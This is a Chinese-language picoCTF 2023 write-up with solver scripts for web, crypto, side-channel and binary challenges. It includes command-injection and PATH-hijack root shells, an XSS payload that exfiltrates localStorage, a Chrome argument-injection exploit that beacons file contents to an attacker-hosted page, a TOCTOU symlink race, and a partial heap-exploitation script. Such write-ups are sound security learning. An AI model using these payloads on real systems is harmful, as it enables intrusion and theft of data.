picoCTF 2023 WriteUps
今年 picoCTF 也是 solo 參與,只有前面第一兩天挑了些分數較高的題目來解解,後面就都沒碰了。
General Skills#
Special#
是一個 python 程式,它會對你的輸入做一些未知的處理之後送進 os.system,不過因為沒 source code 就只能亂試而已。我的解法是輸入 a;`cat` 之後輸入 bash,之後 Ctrl-D 就拿到 shell 了。之所以能這樣做是因為題目都是用 ssh 連線的,所以有 tty 能讓我送 EOF。
我拿到 Flag 是 picoCTF{5p311ch3ck_15_7h3_w0r57_0c61d335},然後也順便把題目的 source code 抓了下來:
#!/usr/bin/python3
import os
from spellchecker import SpellChecker
spell = SpellChecker()
while True:
cmd = input("Special$ ")
rval = 0
if cmd == 'exit':
break
elif 'sh' in cmd:
print('Why go back to an inferior shell?')
continue
elif cmd[0] == '/':
print('Absolutely not paths like that, please!')
continue
# Spellcheck
spellcheck_cmd = ''
for word in cmd.split():
fixed_word = spell.correction(word)
if fixed_word is None:
fixed_word = word
spellcheck_cmd += fixed_word + ' '
# Capitalize
fixed_cmd = list(spellcheck_cmd)
words = spellcheck_cmd.split()
first_word = words[0]
first_letter = first_word[0]
if ord(first_letter) >= 97 and ord(first_letter) <= 122:
fixed_cmd[0] = chr(ord(spellcheck_cmd[0]) - 0x20)
fixed_cmd = ''.join(fixed_cmd)
try:
print(fixed_cmd)
os.system(fixed_cmd)
except:
print("Bad command!")Specialer#
這題 ssh 上去後是個 bash shell,但是 ls 等等的指令都執行不了,可以猜測說大概是 binary 都被刪除了,只剩下 /bin/bash 而已。不過這個情況我很熟悉,因為它很類似我曾經出過的另一題 Free Shell,但是那題困難很多。
不過核心概念就是怎麼只用 bash builtin 的功能做 ls 和 cat 的工作而已。echo * 可以讓你列出當前目錄下的檔案,也能結合 glob 做很多不同的事。而這題檔案很多,不確定 flag 在哪,所以用個 loop 把所有 glob 能 match 的檔案都用 echo $(<$file) 看看有沒有 flag 就好了:
for f in **/*; do echo $(<$f); doneFlag: picoCTF{y0u_d0n7_4ppr3c1473_wh47_w3r3_d01ng_h3r3_d5ef8b71}
Web Exploitation#
Java Code Analysis!?!#
這題是個從這個改來的 spring boot 網頁,讀一下 source code 可以在 SecretGenerator 看到:
private String generateRandomString(int len) {
// not so random
return "1234";
}所以 jwt secret key 固定是 1234,那麼 sign 個 admin jwt 就能拿到 flag 了:
{
"role": "Admin",
"iss": "bookshelf",
"exp": 1679561205,
"iat": 1678956405,
"userId": 2,
"email": "admin"
}msfroggenerator2#
這題架構是有個 openresty (nginx) server 在最外層,然後中間經過 traefik 之後後面有 api 和 bot 兩個 backend。
nginx config:
server {
listen 8080;
resolver local=on;
location / {
add_header Content-Security-Policy "default-src 'none'; script-src 'self'; style-src 'self'; img-src https://cdn.jsdelivr.net/gh/Crusaders-of-Rust/corCTF-2022-public-challenge-archive@master/web/msfroggenerator/task/img/; connect-src 'self'" always;
root /var/www;
}
location /api/ {
proxy_set_header Host api;
proxy_pass "http://traefik:8080";
}
location = /report {
proxy_set_header Host bot;
set_by_lua $url 'return "http://openresty:8080/?id=" .. ngx.var.arg_id';
proxy_pass "http://traefik:8080/?url=$url";
}
}traefik:
http:
routers:
api:
service: api
rule: "Host(`api`)"
bot:
service: bot
rule: "Host(`bot`)"
services:
api:
loadBalancer:
servers:
- url: "http://api:8080"
bot:
loadBalancer:
servers:
- url: "http://bot:8080"而 /var/www 那下面有個靜態網站,上面會 call 一些 /api/ 的 api,不過簡單讀過之後會發現似乎根本沒辦法 XSS。不過這題另一個特別可疑的地方就是為什麼要用兩個 reverse proxy,這部分其實和 bot 有關:
import puppeteer from 'puppeteer';
import { readFile } from 'fs/promises'
const sleep = time => new Promise(resolve => setTimeout(resolve, time));
const flag = await readFile('/flag.txt', 'utf-8');
const browser = await puppeteer.launch({
headless: false,
pipe: true,
dumpio: true,
args: [
'--incognito',
'--js-flags=--jitless',
'--no-sandbox'
],
defaultViewport: {
width: 1280,
height: 720
}
});
const visit = async () => {
const page = await browser.newPage();
const [url] = process.argv.slice(2);
await page.goto('http://openresty:8080/');
await page.evaluate(flag => {
localStorage.setItem('flag', flag);
}, flag);
await page.goto(url);
await sleep(5000);
const screenshot = await page.screenshot({
type: 'png',
encoding: 'base64'
});
await page.evaluate(async screenshot => {
await fetch('/api/reports/add', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${localStorage.getItem('flag')}`
},
body: JSON.stringify({ screenshot })
});
}, screenshot);
}
try { await Promise.race([ visit(), sleep(10000) ]); } catch(e) { console.log(e) };
await browser.close();還有
import { createServer } from 'http';
import { spawn } from 'child_process';
let running = false;
createServer((req, res) => {
const { url } = Object.fromEntries(new URL(`http://${req.headers.host}${req.url}`).searchParams);
res.writeHead(200);
if (!url) return res.end('Invalid request');
if (running) return res.end('Already running!');
(async () => {
running = true;
console.log('Starting...');
const proc = spawn('node', ['bot.js', url], {
stdio: ['inherit', 'inherit', 'inherit']
});
await new Promise(resolve => proc.on('exit', resolve));
console.log('Exited');
running = false;
})();
res.end('Sent! ' + url);
}).listen(8080);從 nginx 那邊我們知道 /report 會把我們傳入的 id 參數變成 url=http://openresty:8080/?id=$id,所以 bot 收到的 url 一定是 http://openresty:8080/ 的對吧? 然而 traefik 在判斷 query string separator 的時候還會考慮分號 ;,而在 2.7.2 版本之後還會直接把 ; normalize 成 &。 (ref: traefik issue #9164, source)
所以只要讓 id 變成 ;id=another_url,那麼根據 new URL 出現重複參數會取後者的性質,another_url 就會直接進入 page.goto(url),中途沒有經過任何的檢查,所以我們可以塞 javascript:... 達成 XSS。
base=http://saturn.picoctf.net:64716
curl -g $base'/report?id=;url=javascript:fetch("/api/reports/add",{method:"POST",headers:{"Content-Type":"application/json","Authorization":`Bearer\u0020${localStorage.flag}`},body:JSON.stringify({url:localStorage.flag})})' -v
sleep 5
curl $base'/api/reports/get' | jq .[].url不過後來和作者聊過之後發現前半正確,但 javascript: 不是 intended XD,正確解法是利用 chrome 強制下載的功能(這也是 bot 非 headless 的原因)可以讓檔案出現在 /root/Downloads/xxx.html,然後覆蓋 fetch 後就能攔截到 flag 了。
作者原本預期 CSP 會擋住 javascript: 的,但 chrome 似乎會允許 page.goto (等價於 user 自己在網址列輸入) 通過的樣子,不管 CSP。
cancri-sp#
這題看起來就像是 browser pwn,因為題目給了一個 patch 過的 chromium 還有一些 mojo 方面的 C++ code,但我用 unintended 解了 XDDD。
它執行 bot 的 shell script 長這樣:
set -eux
SCRIPT_DIR=$(dirname -- "$0")
sleep 3 | exec $SCRIPT_DIR/src/out/Final/chrome \
--enable-blink-features=MojoJS \
--headless \
--disable-gpu \
--remote-debugging-pipe \
--user-data-dir=/does-not-exist \
--disable-dev-shm-usage \
--no-sandbox \
$1 3<&0 4>/dev/null而 server 是直接把你給的 url 原封不動的當 argv 傳入:
var express = require('express');
var { spawnSync } = require('child_process');
var app = express();
const PORT = process.env.PORT || 1337;
let pwning = false;
app.get("/bot", async (req, res) => {
const url = req.query.target;
if (typeof url != "string" || !url.startsWith("http://")) {
return res.end("bad");
}
if (pwning) {
return res.end("come back later");
}
pwning = true;
console.log("pwning ", url);
const output = spawnSync(__dirname + "/../run.sh", [url], {
env: {},
timeout: 3 * 1000,
cwd: "/"
});
pwning = false;
res.end("done");
});
app.use(express.static(__dirname + "/public"));
app.listen(PORT, '0.0.0.0', () => {
console.log("listening ", PORT)
});不過有寫過 shell script 的人應該都知道把 variable 包在引號裡是非常重要的一件式,不然 shell 會自動對空白分割當多個 argv 傳入,細節請參見 Security implications of forgetting to quote a variable in bash/POSIX shells。
所以我們這邊只要讓 url 有空白就能對 chrome 做 argument injection,而查一下可以知道有很多 --no-sandbox --disable-gpu-sandbox --gpu-launcher --renderer-cmd-prefix 等等的參數可以拿 RCE,但我這邊只能讓它執行 binary 而已,沒辦法控到參數。
不過我這邊就換了個做法,用了 --disable-web-security --remote-debugging-port=9222 --remote-allow-origins=* --headless=new 讓我能直接打 Chrome DevTools Protocol 去讀目錄並和讀 flag。 (--headless=new 好像是因為有遇到一些行為不同的問題才加的)
<script>
// location='/bot?target='+encodeURIComponent('http://ATTACKER_HOST/ --disable-web-security --remote-debugging-port=9222 --remote-allow-origins=* --headless=new')
function log(...args) {
console.log(...args)
navigator.sendBeacon('/log:' + String(args[0]), JSON.stringify(args, null, 2))
}
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))
const path = '/challenge/flag-53035d3cba0664dfac37ff64b6e0f86e'
;(async () => {
const res = await fetch('http://localhost:9222/json/new?file://' + path, { method: 'PUT' }).then(r => r.json())
log('new', res)
const ws = new WebSocket(res.webSocketDebuggerUrl)
ws.onerror = e => {
log('wserr', e)
}
ws.onmessage = e => {
log('wsmsg', e.data)
}
ws.onopen = async () => {
log('wsopen')
await sleep(500)
ws.send(
JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: {
expression: `document.body.innerHTML`
}
})
)
}
})().catch(err => {
log('err', err.message, err.stack)
})
</script>
picoCTF{eac36dc6}附註: 其實只用 Chrome DevTools Protocol 也是有機會拿 RCE 的,參考 ASIS CTF 2022 - xtr
Cryptography#
SRA#
from Crypto.Util.number import getPrime, inverse, bytes_to_long
from string import ascii_letters, digits
from random import choice
pride = "".join(choice(ascii_letters + digits) for _ in range(16))
gluttony = getPrime(128)
greed = getPrime(128)
lust = gluttony * greed
sloth = 65537
envy = inverse(sloth, (gluttony - 1) * (greed - 1))
anger = pow(bytes_to_long(pride.encode()), sloth, lust)
print(f"{anger = }")
print(f"{envy = }")
print("vainglory?")
vainglory = input("> ").strip()
if vainglory == pride:
print("Conquered!")
with open("/challenge/flag.txt") as f:
print(f.read())
else:
print("Hubris!")這題的 RSA 給你了 e,d 和一個 c≡me(modn),需要想辦法得到 m。
我的做法是 ed≡1(modφ(n)),所以分解 ed−1 有機會找到 p−1,然後如果 p,q 都是 128 bits 的質數的話就試著 decrypt 看看得到的 m 是不是都在那個 message 可能的字元集中。
from pwn import process, remote
from sage.all import divisors, is_pseudoprime
from Crypto.Util.number import long_to_bytes
# io = process(["python", "chal.py"])
io = remote("saturn.picoctf.net", 61223)
io.recvuntil(b"anger = ")
c = int(io.recvline().strip())
io.recvuntil(b"envy = ")
d = int(io.recvline().strip())
e = 65537
kphi = e * d - 1
for pm1 in divisors(kphi):
p = pm1 + 1
if is_pseudoprime(p) and p.bit_length() == 128:
for k in range(1, e):
if kphi % k != 0:
continue
q = (kphi // k // pm1) + 1
if is_pseudoprime(q) and q.bit_length() == 128:
print(p)
print(q)
n = p * q
m = pow(c, d, n)
msg = long_to_bytes(m)
print(msg)
if msg.isalnum():
io.sendline(msg)
print(io.recvall())
exit()
# picoCTF{7h053_51n5_4r3_n0_m0r3_3ed2713f}PowerAnalysis: Warmup#
#!/usr/bin/env python3
import random, sys, time
with open("key.txt", "r") as f:
SECRET_KEY = bytes.fromhex(f.read().strip())
Sbox = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)
# Leaks one bit of information every operation
leak_buf = []
def leaky_aes_secret(data_byte, key_byte):
out = Sbox[data_byte ^ key_byte]
leak_buf.append(out & 0x01)
return out
# Simplified version of AES with only a single encryption stage
def encrypt(plaintext, key):
global leak_buf
leak_buf = []
ciphertext = [leaky_aes_secret(plaintext[i], key[i]) for i in range(16)]
return ciphertext
# Leak the number of 1 bits in the lowest bit of every SBox output
def encrypt_and_leak(plaintext):
ciphertext = encrypt(plaintext, SECRET_KEY)
ciphertext = None # throw away result
time.sleep(0.01)
return leak_buf.count(1)
pt = input("Please provide 16 bytes of plaintext encoded as hex: ")
if len(pt) != 32:
print("Invalid length")
sys.exit(0)
pt = bytes.fromhex(pt)
print("leakage result:", encrypt_and_leak(pt))這題會把你輸入的 message m 和隱藏的 key k xor 之後輸出 LSB(SBOX(m⊕k))。
因為這邊其實各個 byte 是可以分開討論的,所以這邊我們先假定要找的只是 key 的第一個 byte 而已。我的作法是先隨機送一些 mi 過去拿到對應的 ci∈{0,1},然後接下來爆破 kj∈[0,256) 拿到 LSB(SBOX(mi⊕kj)) 的值,結果會是一個 (i,j) 的矩陣,其中某個 column 會和 ci 相同,所以就能知道 key byte 是 kj 了。把這個方法也用到其他 byte 上就可以拿到整個 key 了。
from pwn import context, process, remote
import numpy as np
from tqdm import tqdm
context.log_level = "error"
# fmt: off
Sbox = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)
# fmt: on
def oracle(pt):
# io = process(["python", "encrypt.py"])
io = remote("saturn.picoctf.net", 54334)
io.sendline(pt.hex().encode())
io.recvuntil(b"result: ")
r = int(io.recvlineS().strip())
io.close()
return r
def corr(xs, ys):
# a simple correlation function
dx = [a - b for a, b in zip(xs, xs[1:])]
dy = [a - b for a, b in zip(ys, ys[1:])]
return len([1 for a, b in zip(dx, dy) if a == b])
def recover_key_byte(idx):
pt = bytearray([0] * 16)
res = []
pt_samples = range(0, 256, 8) # to reduce the number of requests
for i in tqdm(pt_samples):
pt[idx] = i
res.append(oracle(pt))
out = [[Sbox[i ^ kb] & 1 for i in pt_samples] for kb in range(256)]
cor = [corr(res, o) for o in out]
mx = np.argmax(cor)
print(mx)
print(np.sort(cor)[-10:])
return mx
key = bytes([recover_key_byte(i) for i in range(16)])
print(key.hex())
flag = f"picoCTF{{{key.hex()}}}"
print(flag)
# picoCTF{18427c31163ec78ed7ec67cd27f58d47}PowerAnalysis: Part 1 / Part 2#
這兩題其實很類似,不過第一題是允許你選擇 AES plaintext 然後得到目標的 power traces,而第二題只給你這種格式的 txt 而已:
Plaintext: 78695fc56ec9de44bf6dabdc6e264760
Power trace: [79, 94, 103, 134, 119, 121, 64, 101, 63, 80, 75, ...]因為我這題其實是先解第二題的,所以就寫個腳本隨機生成一些 plaintext 然後得到指定的 power traces,然後弄成格式一樣的 txt 就能一次解兩個了:
from pwn import remote
from pathlib import Path
import os, ast
traces = Path("traces")
traces.mkdir(exist_ok=True)
for i in range(100):
io = remote("saturn.picoctf.net", 55421)
pt = os.urandom(16)
io.sendline(pt.hex().encode())
io.recvuntil(b"result: ")
trace = ast.literal_eval(io.recvlineS().strip())
f = traces / f"trace{i:02d}.txt"
f.write_text(
f"""Plaintext: {pt.hex()}
Power trace: {trace}
"""
)
io.close()總之這題沒有 source code,不過 hint 有說 The power consumption is correlated with the Hamming weight of the bits being processed,所以明顯是 Simple Power Analysis。
這邊的概念其實和 wramup 很類似,不過這邊是使用 SBOX(m⊕k) hamming weight 和得到的 power traces 中某個時間點的 power 計算相關係數,在爆破 k 的 bytes 的時候會有一個 k 的相關係數比別人高,由此就能知道 key byte 的值。
from pathlib import Path
import ast
import numpy as np
from scipy.stats import pearsonr
from tqdm import tqdm
pts = []
traces = []
for f in Path("traces").iterdir():
l = f.read_text().splitlines()
pt = bytes.fromhex(l[0].split(": ")[1])
trace = ast.literal_eval(l[1].split(": ")[1])
pts.append(pt)
traces.append(trace)
# fmt: off
sbox = [
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
]
# fmt: on
def power_model(x):
return x.bit_count()
key = []
for target_idx in range(16):
M = np.array(
[[sbox[pt[target_idx] ^ k] for k in range(256)] for pt in pts]
) # guess all key bytes
MP = np.vectorize(power_model)(M)
TR = np.array(traces)[:, 300:400] # by guessing where the first sbox happens
def get_max_corr(l):
# compute the max correlation between guessed power consumption and power traces over a range of time
mx = 0
for r in TR.T: # power traces at a time over all samples
mx = max(mx, pearsonr(l, r)[0])
return mx
res = np.array([get_max_corr(x) for x in tqdm(MP.T)])
mx = np.argmax(res)
print(mx)
print(res[mx])
print(
np.sort(res)[-10:]
) # should have a value that is significantly higher than the rest
key.append(mx)
key = bytes(key)
print(key)
print(f"picoCTF{{{key.hex()}}}")
# Part 1: picoCTF{ce920ac29f329f624d373ccd26bc3d83}
# Part 2: picoCTF{ce920ac29f329f624d373ccd26bc3d83}後來我才知道其實還有個 scared 的 library 可以幫你自動做這類的 side channel analysis,詳情可參考這篇 writeup。
Binary Exploitation#
hijacking#
ssh 上去 sudo -l 看到:
User picoctf may run the following commands on challenge:
(ALL) /usr/bin/vi
(root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py所以 sudo vi 之後 ESC 再 :!/bin/sh 就可以拿到 root shell 了,而 flag 在 /root/.flag.txt 之中: picoCTF{pYth0nn_libraryH!j@CK!n9_f56dbed6}
不過從 flag 可知它顯然不是 intended,正確做法是利用那個 .server.py:
import base64
import os
import socket
ip = 'picoctf.org'
response = os.system("ping -c 1 " + ip)
#saving ping details to a variable
host_info = socket.gethostbyaddr(ip)
#getting IP from a domaine
host_info_to_str = str(host_info[2])
host_info = base64.b64encode(host_info_to_str.encode('ascii'))
print("Hello, this is a part of information gathering",'Host: ', host_info)python 預設會從 cwd 找 module,所以我們可以在 cwd 放一個 base64.py 裡面跑 shell 就能拿到 root 了。
tic-tac#
ssh 上去可看到有個 suid binary,source code:
#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
return 1;
}
std::string filename = argv[1];
std::ifstream file(filename);
struct stat statbuf;
// Check the file's status information.
if (stat(filename.c_str(), &statbuf) == -1) {
std::cerr << "Error: Could not retrieve file information" << std::endl;
return 1;
}
// Check the file's owner.
if (statbuf.st_uid != getuid()) {
std::cerr << "Error: you don't own this file" << std::endl;
return 1;
}
// Read the contents of the file.
if (file.is_open()) {
std::string line;
while (getline(file, line)) {
std::cout << line << std::endl;
}
} else {
std::cerr << "Error: Could not open file" << std::endl;
return 1;
}
return 0;
}可以知道它在檢查 owner 和實際上讀取的時候有時差,所以可以利用 toctou 去讀取只有 root 才能碰的 flag。
{ while true; do ln -sf flag.txt lnk; ln -sf hello.txt lnk; done } &
while true; do ./txtreader lnk; done
# picoCTF{ToctoU_!s_3a5y_2075872e}VNE#
這題有個 binary,scp 下來反編譯可以看到這段 code:
v14 = getenv("SECRET_DIR");
if ( v14 )
{
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Listing the content of ");
v6 = std::operator<<<std::char_traits<char>>(v5, v14);
v7 = std::operator<<<std::char_traits<char>>(v6, " as root: ");
std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
std::allocator<char>::allocator(&v12);
std::string::basic_string(v16, v14, &v12);
std::operator+<char>(v15, "ls ", v16);
std::string::~string(v16);
std::allocator<char>::~allocator(&v12);
setgid(0);
setuid(0);
v8 = (const char *)std::string::c_str(v15);
v13 = system(v8);
if ( v13 )
{
v9 = std::operator<<<std::char_traits<char>>(&std::cerr, "Error: system() call returned non-zero value: ");
v10 = std::ostream::operator<<(v9, v13);
std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
v4 = 1;
}
else
{
v4 = 0;
}
std::string::~string(v15);
}所以它會執行 system("ls" + SECRET_DIR),所以可以 command injection 拿 root shell: SECRET_DIR='/challenge;sh' ./bin
另一個方法是利用 ls 是用 relative path 呼叫的特性,而 suid binary 又不像 sudo 會幫你把一些危險的環境變數如 PATH 清掉,所以可以 PATH=/tmp 然後裡面放個 ls 的 script 也能拿 root shell。
Horsetrack#
[*] '/home/maple3142/workspace/pico2023/horsetrack/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./'這題是很標準的 heap pwn,主要的洞在於有 UAF,然後它自訂的讀字串函數在遇到 \xff 時就會 return,所以讓它不會覆蓋掉 heap pointer 就能拿到 heap leak。
打法其實就很標準的 tcache poisoning,不過因為這題因為 glibc 版本是 2.33,所以還要繞過 safe linking。拿到 heap leak 和任意寫之後結合 No PIE 和 Partial RELRO 可知能寫掉 GOT,而對應了 binary 的一些操作我決定先寫 sh 到 bss 的某處,然後讓 stderr="sh" 並複寫 setbuf@GOT 到 resolve system 的地方,然後同時把 printf 覆蓋成呼叫 setbuf(stderr, ...) 的地方,這樣就有 shell 了。
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"
context.log_level = "debug"
def cheat(idx: int, name: bytes, new_pos: int):
io.sendlineafter(b"Choice: ", b"0")
io.sendlineafter(b"? ", str(idx).encode())
io.sendlineafter(b": ", name)
io.sendlineafter(b"? ", str(new_pos).encode())
def add_horse(idx: int, name: bytes, namelen: int = None):
if namelen is None:
namelen = len(name)
io.sendlineafter(b"Choice: ", b"1")
io.sendlineafter(b"? ", str(idx).encode())
io.sendlineafter(b"? ", str(namelen).encode())
io.sendlineafter(b": ", name)
def remove_horse(idx: int):
io.sendlineafter(b"Choice: ", b"2")
io.sendlineafter(b"? ", str(idx).encode())
def race():
io.sendlineafter(b"Choice: ", b"3")
def demangle(obfus_ptr):
o2 = (obfus_ptr >> 12) ^ obfus_ptr
return (o2 >> 24) ^ o2
elf = ELF("./vuln")
if args.REMOTE:
io = remote("saturn.picoctf.net", 58286)
else:
io = process("./vuln")
# io = gdb.debug(
# "./vuln",
# "\n".join(
# [
# "b sleep",
# "commands",
# "return",
# "c",
# "end",
# "gef config context.enable false",
# "c",
# ]
# ),
# )
# need to have at least 5 horses to race
add_horse(15, b"X" * 0x18)
add_horse(16, b"Y" * 0x18)
add_horse(17, b"Z" * 0x18)
add_horse(0, b"A" * 0x10)
add_horse(1, b"B" * 0x10)
remove_horse(0)
remove_horse(1)
# [1] -> [0]
add_horse(1, b"\xff", 16)
add_horse(0, b"A" * 0x10)
